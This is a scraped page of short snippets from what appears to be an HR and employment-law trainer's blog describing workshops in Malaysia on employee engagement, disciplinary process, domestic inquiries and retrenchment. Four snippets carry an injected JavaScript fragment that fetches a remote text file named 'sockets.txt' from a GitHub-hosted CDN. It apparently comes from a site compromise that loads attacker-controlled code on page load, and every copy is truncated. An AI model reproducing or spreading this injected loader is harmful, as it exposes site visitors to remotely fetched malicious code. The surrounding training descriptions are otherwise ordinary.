Another 2 days training on Employee Engagement and the Disciplinary process. A different approach unlike my regular training sessions. A group of 6 were put thru the rigours of the topic with breakout sessions focusing on case studies and finding solutions Pushing them to think 'outside the box' on how to create systems and creating accountability;var url = 'https://raw.githubusercont...

Employee engagement is about small group discourse to make employees become stakeholders in the Company. This one day workshop is help employee discover their worth and how to put their talents towards personal growth and creating overall employee satisfaction;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text())...

2 day program on Employee Engagement and the Disciplinary process for Malaysian Hotels Association (KL Chapter) . HOW DO WE KNOW WHEN OUR TRAINING IS EFFECTIVE?As much as there is a requirement to cover the course content, one cannot stress the importance of the break-out sessions, which are critical to gauge the participants understanding and the application of the course material. As M...

2 days of training members of the Malaysian Hotel Associations (Penang branch) on Management Empowerment & Discipline. Rather the telling them the law is, my focus is Case studies & role playing as a means of finding solutions in respect of the challenges faced by Companies.;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(respon...

Day 1 - Training of RedOne group of companies HR personnel on placing onus on Managers to assume ownership for their departments. The central focus is on employee engagement of moving from 'skill-set to mindset' Day 2 - Training at redOne on the dreaded topic of the Domestic Inquiry. Participants were taken through the common pitfalls where procedures are not adhered to; the failure to...

Throwback to August 2017.The training that started it all. 1 day training for Hume's many divisions. Empowering the managers and at the same time empowering myself. Every training module is a living document, which evolves over time. As much as there are takeaways for participants, there is also takeaways for me on how to improve the module so that it raises the value of an organisatio...

Training on Challenges in Retrenchment & Termination ( A Legal perspective) In the current economic climate, Companies are quick to initiate right-sizing exercises without contemplating the fall-out when procedures are not adhered to. The aim of the training was to highlight pitfalls by Companies and the Court's approach to a poorly executed separation exercise and the difficulty fac...

Module completed and presented.

Big changes are coming in Malaysian employment laws. Been preparing companies for this since 2016, many of whom are still not prepared. The amendments will accelerate employee claims at the Industrial Court and companies have lost the benefit of preparation with these amendments and should be ready to prove their case even before a decision is made to dismiss an employee;var url = 'http...